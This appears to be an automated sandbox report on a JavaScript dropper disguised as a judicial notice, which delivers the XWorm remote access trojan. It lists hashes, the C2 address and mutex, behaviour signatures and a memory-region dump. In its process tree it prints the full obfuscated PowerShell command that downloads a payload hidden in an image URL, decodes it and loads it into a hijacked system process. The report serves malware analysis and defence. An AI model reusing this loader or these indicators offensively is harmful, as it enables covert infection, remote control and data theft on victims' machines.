Analysis

  • max time kernel
    94s
  • max time network
    176s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-01-2025 00:23

General

  • Target

    CENDO RAMA JUDICIAL - Oficio 392 - OFICIO Y DETALLE DE ACTUACIÓN JUDICIAL.js

  • Size

    73KB

  • MD5

    ececcb43f7f2e1f294047fee6512849b

  • SHA1

    ab25ccd9dc155e90b1828ac77b4deacfff2bd98d

  • SHA256

    b03d8e95d48272334f35836a28a163f153eb3b00e97ce0466a3dce8202527f23

  • SHA512

    fb2cd31e8f258fcadef22ff71686e1f8417d157b9bd56f0e2ac0493e92b8d0be5a1435977a7dfbe1dd14ac145ac41e1f73d893515fea823f02a51387a0815f4d

  • SSDEEP

    1536:4l4izQ6VsYX/f53KKxAlFlwWJOKumLcAJ152k6:41zQ6Vj/BKpW

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737543662/new_image_h8btwc.jpg%20

exe.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737543662/new_image_h8btwc.jpg%20

Extracted

Family

xworm

Version

5.0

C2

87.120.116.179:1300

Mutex

D9SUsC7nLI4t2dR8

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\CENDO RAMA JUDICIAL - Oficio 392 - OFICIO Y DETALLE DE ACTUACIÓN JUDICIAL.js"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1856
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.sejaiv/selif/971.611.021.78//:p##h';$restoredText = $originalText -replace '#', 't';$upholdster = 'https://res.cloudinary.com/daxwua63y/image/upload/v1737543662/new_image_h8btwc.jpg ';$scink = New-Object System.Net.WebClient;$stipules = $scink.DownloadData($upholdster);$daintith = [System.Text.Encoding]::UTF8.GetString($stipules);$monochromator = '<<BASE64_START>>';$habitationally = '<<BASE64_END>>';$xylosma = $daintith.IndexOf($monochromator);$ketofuranose = $daintith.IndexOf($habitationally);$xylosma -ge 0 -and $ketofuranose -gt $xylosma;$xylosma += $monochromator.Length;$guicowar = $ketofuranose - $xylosma;$hypsometrist = $daintith.Substring($xylosma, $guicowar);$pondhawks = -join ($hypsometrist.ToCharArray() | ForEach-Object { $_ })[-1..-($hypsometrist.Length)];$nominally = [System.Convert]::FromBase64String($pondhawks);$reflectoire = [System.Reflection.Assembly]::Load($nominally);$tooter = [dnlib.IO.Home].GetMethod('VAI');$tooter.Invoke($null, @($restoredText, 'thuya', 'thuya', 'thuya', 'aspnet_compiler', 'thuya', 'thuya','thuya','thuya','thuya','thuya','thuya','1','thuya','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2964
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1524

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rculk3dl.nms.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1524-19-0x0000000000400000-0x0000000000410000-memory.dmp

    Filesize

    64KB

  • memory/1524-27-0x00000000063B0000-0x0000000006416000-memory.dmp

    Filesize

    408KB

  • memory/1524-26-0x0000000005A90000-0x0000000005A9A000-memory.dmp

    Filesize

    40KB

  • memory/1524-25-0x00000000060B0000-0x0000000006142000-memory.dmp

    Filesize

    584KB

  • memory/1524-24-0x0000000005B00000-0x00000000060A4000-memory.dmp

    Filesize

    5.6MB

  • memory/1524-23-0x0000000005070000-0x000000000510C000-memory.dmp

    Filesize

    624KB

  • memory/2964-13-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

    Filesize

    10.8MB

  • memory/2964-17-0x0000024DEA4F0000-0x0000024DEA6AA000-memory.dmp

    Filesize

    1.7MB

  • memory/2964-18-0x0000024DA8D70000-0x0000024DA8D7C000-memory.dmp

    Filesize

    48KB

  • memory/2964-16-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

    Filesize

    10.8MB

  • memory/2964-22-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

    Filesize

    10.8MB

  • memory/2964-15-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

    Filesize

    10.8MB

  • memory/2964-14-0x00007FFBE16B3000-0x00007FFBE16B5000-memory.dmp

    Filesize

    8KB

  • memory/2964-1-0x00007FFBE16B3000-0x00007FFBE16B5000-memory.dmp

    Filesize

    8KB

  • memory/2964-12-0x00007FFBE16B0000-0x00007FFBE2171000-memory.dmp

    Filesize

    10.8MB

  • memory/2964-2-0x0000024DC1D60000-0x0000024DC1D82000-memory.dmp

    Filesize

    136KB